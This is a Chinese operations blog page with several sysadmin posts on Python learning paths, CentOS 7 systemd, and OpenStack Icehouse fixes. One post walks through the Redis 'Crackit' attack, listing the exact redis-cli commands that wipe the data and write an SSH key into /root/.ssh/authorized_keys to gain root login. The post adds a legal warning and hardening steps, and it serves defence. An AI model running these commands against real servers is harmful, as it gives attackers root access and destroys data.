运维知识体系

运维知识体系

运维知识体系总结,持续更新,欢迎转载。
缓存知识体系

缓存知识体系

运维知识体系之缓存,分层多级缓存体系。
K8S实践指南

K8S实践指南

Docker和Kubernetes实践指南(每周更新)
新运维课堂

新运维课堂

全新体系化课程,开启运维新征程!

关于openstack icehouse neutron错误

默认分类赵班长 回复了问题 • 2 人关注 • 1 个回复 • 2645 次浏览 • 2015-12-23 09:21 • 来自相关话题

运维工程师如何-快速-有效的学习好Python-并开发出运维平台-口水篇

系统管理赵班长 发表了文章 • 5 个评论 • 7500 次浏览 • 2015-12-01 19:20 • 来自相关话题

      运维工程师用不用学习Python?呵呵!        我一直在自学Python。分享下自己的经验。尤其对于有多年工作经验,日常工作也比较忙,没有充足的时间来参加培训的朋友。        首先,你要坚信自己可以搞定一个运维 ...查看全部
      运维工程师用不用学习Python?呵呵!
       我一直在自学Python。分享下自己的经验。尤其对于有多年工作经验,日常工作也比较忙,没有充足的时间来参加培训的朋友。
       首先,你要坚信自己可以搞定一个运维平台,觉得难的,洗洗睡吧!没睡的我们就开始。

知识积累
  1. 用实用的例子学习Python  《Python Unix/Linux系统管理指南》 PDF自己网上搜。
  2. 学习HTML、CSS、JS、AJAX、JQuery     《w3school在线教程》http://www.w3school.com.cn/
  3. 学习Django 《Django Book》  http://docs.30c.org/djangobook2/
  4. 学习SaltStack  《SaltStack技术入门与实战》。http://item.jd.com/11804150.html  这广告做的,好机智啊。


功能添加
  1. 开始吧,注意开始之前先要进行运维标准化的建设,那我们从CMDB开始,CMDB三板斧(数据采集、数据管理和API、数据展现)。
  2. 增加Cobbler API和IPMI。在CMDB的资产中加入安装、重装等调用,并且进行安装。
  3. 增加SaltStack API。进行配置管理和远程执行,在CMDB中加入角色的列,根据角色调用Salt API进行部署。
  4. 增加Zabbix API。根据CMDB的角色做好监控,增加主机和链接模板。需要提前定义好。
  5. 增加GateOne API。直接嵌入,在CMDB的列表中,加入Console功能,直接调用Key连接。
  6. Job管理。Job编排、Crontab管理。
  7. 增加WAF管理,WAF Dashboard显示。编辑规则。
  8. 增加W3af管理。进行安全扫描。
  9. 内网DNS怎么办,Cobbler来管理还是Bind+DLZ。写个增删改查的API。


基础设施
  1. OpenStack API拿过来做一些统计吧,不要重复造轮子,用Horizon就好。
  2. Docker你用后发现,没有管理平台不行啊。折腾吧。或者直接mesos marathon
  3. 自动化扩容不用折腾。SaltStack+OpenStack/Docker+Etcd_Pillar+Etcd。使用Salt-Cloud就行,别搞各种共有云的API了,都封装好了。
  4. 代码部署,直接做成Job的一种。Job类型有。脚本执行、代码更新、Redis管理、产品经理提的各种需求。
  5. 登陆验证。这么重要的系统必须要有验证啊。双因素验证,比如加入OTP,比如google authenticator。


杂七杂八
 

  • 平台病:如果你按照上面的功能做的差不多的时候,你马上就会犯一个平台的病:这Redis管理、Memcached管理是不是都可以搞过来啊,然后github一搜,发现复制粘贴就可以搞定。
  • 可视化http://echarts.baidu.com/   http://www.hcharts.cn/   你随便选一个,高端大气上档次。
         用户权限体系
  •  一开始就要考虑到各种权限管理,用户、组、角色、项目。例如:让用户像GitHub一样设置Key,根据权限将Key通过Salt进行部署,这样用户登录后,有权限的机器就可以直接通过GateOne链接。
  • 角色还是很有必要使用的,用来管理复杂权限的设置


然并卵   

        北京雾霾怎么办?调用API获取PM2.5指标。超过500直接给老板发送一个请假邮件。超过2000直接发送-世界那么大,我想去看看!

CentOS6到CentOS-7变化

系统管理赵班长 发表了文章 • 2 个评论 • 5238 次浏览 • 2015-11-24 23:34 • 来自相关话题

    使用CentOS-7最直观的变化就是服务管理了。这里介绍一下。 services使用了systemd来代替sysvinit管理         systemd是Linux下的一种init软件,由Len ...查看全部
    使用CentOS-7最直观的变化就是服务管理了。这里介绍一下。

services使用了systemd来代替sysvinit管理


        systemd是Linux下的一种init软件,由Lennart Poettering带头开发,并在LGPL 2.1及其后续版本许可证下开源发布。其开发目标是提供更优秀的框架以表示系统服务间的依赖关系,并依此实现系统初始化时服务的并行启动,同时达到降低Shell的系统开销的效果,最终代替现在常用的System V与BSD风格init程序。
与多数发行版使用的System V风格init相比,systemd采用了以下新技术:
采用Socket激活式与总线激活式服务,以提高相互依赖的各服务的并行运行性能;
用cgroups代替PID来追踪进程,以此即使是两次fork之后生成的守护进程也不会脱离systemd的控制。
从设计构思上说,由于systemd使用了cgroup与fanotify等组件以实现其特性,所以只适用于Linux。

systemd的服务管理程序:
systemctl是主要的工具,它融合之前service和chkconfig的功能于一体。可以使用它永久性或只在当前会话中启用/禁用服务。
启动一个服务:systemctl start postfix.service
关闭一个服务:systemctl stop postfix.service
重启一个服务:systemctl restart postfix.service
显示一个服务的状态:systemctl status postfix.service
在开机时启用一个服务:systemctl enable postfix.service
在开机时禁用一个服务:systemctl disable postfix.service
查看服务是否开机启动:systemctl is-enabled postfix.service;echo $?
查看已启动的服务列表:systemctl list-unit-files|grep enabled

OpenStack Icehouse novncproxy无法启动解决

OpenStack赵班长 发表了文章 • 3 个评论 • 4253 次浏览 • 2015-11-19 14:53 • 来自相关话题

将OpenStack Icehouse版升级完毕后,发现novncproxy无法启动。 第一步:使用命令启动看看报错。[root@test-node1 ~]# nova-novncproxy --config-file /etc/no ...查看全部
将OpenStack Icehouse版升级完毕后,发现novncproxy无法启动。

第一步:使用命令启动看看报错。
[root@test-node1 ~]# nova-novncproxy --config-file /etc/nova/nova.conf
Traceback (most recent call last):
File "/usr/bin/nova-novncproxy", line 10, in
sys.exit(main())
File "/usr/lib/python2.6/site-packages/nova/cmd/novncproxy.py", line 87, in main
wrap_cmd=None)
File "/usr/lib/python2.6/site-packages/nova/console/websocketproxy.py", line 47, in __init__
ssl_target=None, *args, **kwargs)
File "/usr/lib/python2.6/site-packages/websockify/websocketproxy.py", line 231, in __init__
websocket.WebSocketServer.__init__(self, RequestHandlerClass, *args, **kwargs)
TypeError: __init__() got an unexpected keyword argument 'no_parent'

第二步:Google。发现这个是由于websockify版本过高的问题。

第三步:安装一个低版本的。
[root@test-node1 ~]# /usr/bin/pip2.6 install websockify==0.5.1

OK,搞定。
 

Cobbler安装CentOS 7网卡命名修改

DevOps赵班长 发表了文章 • 0 个评论 • 4650 次浏览 • 2015-11-18 16:54 • 来自相关话题

      准备上线CentOS 7,在Cobbler上导入后,发现网卡名称变成了eno1这样的,好吧,那就添加两个内核参数上去,让它变回eth0吧,这样就可以做全网统一,标准化是自动化运维的基石嘛。cobbler profile edit --name=Ce ...查看全部
      准备上线CentOS 7,在Cobbler上导入后,发现网卡名称变成了eno1这样的,好吧,那就添加两个内核参数上去,让它变回eth0吧,这样就可以做全网统一,标准化是自动化运维的基石嘛。
cobbler profile edit --name=CentOS-7.1-x86_64 --kopts='net.ifnames=0 biosdevname=0'

OK,就这样,工作很忙,文章很短!

OpenStack如何修改Cinder后端存储的卷信息

OpenStack赵班长 发表了文章 • 0 个评论 • 3450 次浏览 • 2015-11-18 09:47 • 来自相关话题

    公司面临着Glusterfs的迁移工作,原OpenStack都是连接的192.168.0.3上面的Glusterfs的volume。现在需要更换IP,发现硬重启云主机,并不会自动进行volume的变动,于是查看源码,确认生成libvirtxml的时候从 ...查看全部
    公司面临着Glusterfs的迁移工作,原OpenStack都是连接的192.168.0.3上面的Glusterfs的volume。现在需要更换IP,发现硬重启云主机,并不会自动进行volume的变动,于是查看源码,确认生成libvirtxml的时候从哪里取的卷。vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/volume.py
发现会从nova数据库的block_device_mapping表中取connection_info,好吧,继续暴力一次,直接update一下。
update nova.block_device_mapping set connection_info='{"driver_volume_type": "glusterfs", "mount_point_base": "/var/lib/cinder/mnt", "serial": "484c287a-0e1b-46cb-a7e0-5a626e2c632e", "data": {"device_path": "/var/lib/nova/mnt/b6c2ec525d0123967968d0b115df02fd/volume-484c287a-0e1b-46cb-a7e0-5a626e2c632e", "name": "volume-484c287a-0e1b-46cb-a7e0-5a626e2c632e", "format": "raw", "qos_specs": null, "export": "192.168.0.1:/cinder-volume", "access_mode": "rw", "options": null}}' where instance_uuid='d897bf7e-e95a-4d73-a6f3-8b1c8a794d3e' and volume_id='484c287a-0e1b-46cb-a7e0-5a626e2c632e';


update nova.block_device_mapping set connection_info='{"driver_volume_type": "glusterfs", "mount_point_base": "/var/lib/cinder/mnt", "serial": "6caf9478-365d-41b1-9997-f92ccf47c0ff", "data": {"device_path": "/var/lib/nova/mnt/b6c2ec525d0123967968d0b115df02fd/volume-6caf9478-365d-41b1-9997-f92ccf47c0ff", "name": "volume-6caf9478-365d-41b1-9997-f92ccf47c0ff", "format": "raw", "qos_specs": null, "export": "192.168.0.1:/cinder-volume", "access_mode": "rw", "options": null}}' where instance_uuid='d897bf7e-e95a-4d73-a6f3-8b1c8a794d3e' and volume_id='6caf9478-365d-41b1-9997-f92ccf47c0ff';

      把每台云主机的每个卷都update一下,然后硬重启,nova会重新生成新的libvrit.xml。然后你发现,变成了你想要的样子了,不说了,继续搬砖。有机会好好研究研究源码,现在事情太多。

OpenStack桌面虚拟化支持USB重定向和声卡

OpenStack赵班长 发表了文章 • 8 个评论 • 4449 次浏览 • 2015-11-17 18:04 • 来自相关话题

公司测试OpenStack的桌面虚拟化,默认情况下生成的libvirt的xml是不支持USB重定向和声卡,最快捷的方法就是,Hack下源码,硬加进去: vim /usr/lib/python2.6/site-packages/nova ...查看全部
公司测试OpenStack的桌面虚拟化,默认情况下生成的libvirt的xml是不支持USB重定向和声卡,最快捷的方法就是,Hack下源码,硬加进去:

vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/driver.py
    def to_xml(self, context, instance, network_info, disk_info,
image_meta=None, rescue=None,
block_device_info=None, write_to_disk=False):
# We should get image metadata every time for generating xml
if image_meta is None:
(image_service, image_id) = glance.get_remote_image_service(
context, instance['image_ref'])
image_meta = compute_utils.get_image_metadata(
context, image_service, image_id, instance)
# NOTE(danms): Stringifying a NetworkInfo will take a lock. Do
# this ahead of time so that we don't acquire it while also
# holding the logging lock.
network_info_str = str(network_info)
LOG.debug(_('Start to_xml '
'network_info=%(network_info)s '
'disk_info=%(disk_info)s '
'image_meta=%(image_meta)s rescue=%(rescue)s'
'block_device_info=%(block_device_info)s'),
{'network_info': network_info_str, 'disk_info': disk_info,
'image_meta': image_meta, 'rescue': rescue,
'block_device_info': block_device_info},
instance=instance)
conf = self.get_guest_config(instance, network_info, image_meta,
disk_info, rescue, block_device_info)
pre_xml = conf.to_xml()
hack_xml = """



















"""
tar_obj = ''
libvit_obj = minidom.parseString(pre_xml)
hack_obj = minidom.parseString(hack_xml)
for c_lib_obj in libvit_obj.childNodes[0].childNodes:
if (isinstance(c_lib_obj, minidom.Element) and c_lib_obj.tagName == 'devices'):
c_lib_obj.childNodes.extend(hack_obj.childNodes[0].childNodes)

xml = libvit_obj.toxml()
if write_to_disk:
instance_dir = libvirt_utils.get_instance_path(instance)
xml_path = os.path.join(instance_dir, 'libvirt.xml')
libvirt_utils.write_to_file(xml_path, xml)

LOG.debug(_('End to_xml xml=%(xml)s'),
{'xml': xml}, instance=instance)
return xml

简单的说,就是让Nova生成libvirt xml的时候,硬编码进去相关的xml标签,好暴力,但是高效好用!

在使用docker时,如何追加端口最为方便

运维杂谈赵班长 回复了问题 • 2 人关注 • 1 个回复 • 3025 次浏览 • 2015-11-17 16:21 • 来自相关话题

Redis Crackit漏洞利用和防护

运维杂谈赵班长 发表了文章 • 4 个评论 • 6061 次浏览 • 2015-11-11 17:59 • 来自相关话题

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!     目前Redis Crackit都炒翻 ...查看全部
        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushallOK#把公钥写入到一个key里面[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen#连接到这个redis上[root@test-node1 ~]# redis-cli -h 192.168.199.221#设置rdb文件存放的路径redis 192.168.199.221:6379> config set dir /root/.ssh/OK#设置rdb文件的文件名redis 192.168.199.221:6379> config set dbfilename "authorized_keys"OK#搞定保存redis 192.168.199.221:6379> saveOK#退出redis 192.168.199.221:6379> exit#尝试登陆吧[root@test-node1 ~]# ssh root@192.168.199.221Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys[root@test-node2 ~]# cat /root/.ssh/authorized_keys注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。如何防护:     1.禁用这些可以入侵的命令:     [root@test-node2 ~]# vim /etc/redis.conf     rename-command FLUSHALL ""     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。     2.将你的redis不要运行在0.0.0.0.或者设置验证。     [root@test-node2 ~]# vim /etc/redis.conf    requirepass redis-passwd    bind 192.168.199.11   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。如何发现被入侵:   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

OpenStack 无法连接到Neutron 问题解决

OpenStack赵班长 发表了文章 • 2 个评论 • 9550 次浏览 • 2015-11-11 10:19 • 来自相关话题

    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。     注意:还有一种情况,就是你的Neutron真的无法连接,要查看 ...查看全部
    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。

    注意:还有一种情况,就是你的Neutron真的无法连接,要查看服务和监听端口是否正常!

Yum安装的文件在这里:
[root@test-node1 ~]# vim /usr/share/openstack-dashboard/openstack_dashboard/api/neutron.py
源码安装的在这里:
vim /usr/lib/python2.6/site-packages/openstack_dashboard/api/neutron.py
在class FloatingIpManager类里少了is_supported的方法,这个是一个bug,可以通过手动修改解决。
def is_simple_associate_supported(self):
        # NOTE: There are two reason that simple association support
        # needs more considerations. (1) Neutron does not support the
        # default floating IP pool at the moment. It can be avoided
        # in case where only one floating IP pool exists.
        # (2) Neutron floating IP is associated with each VIF and
        # we need to check whether such VIF is only one for an instance
        # to enable simple association support.
        return False
#在这个类的最下面,增加下面的方法,注意缩进。
    def is_supported(self):
        network_config = getattr(settings, 'OPENSTACK_NEUTRON_NETWORK', {})
        return network_config.get('enable_router', True)
修改完毕后,需要重启apache才可以生效:
[root@test-node1 ~]# /etc/init.d/httpd restart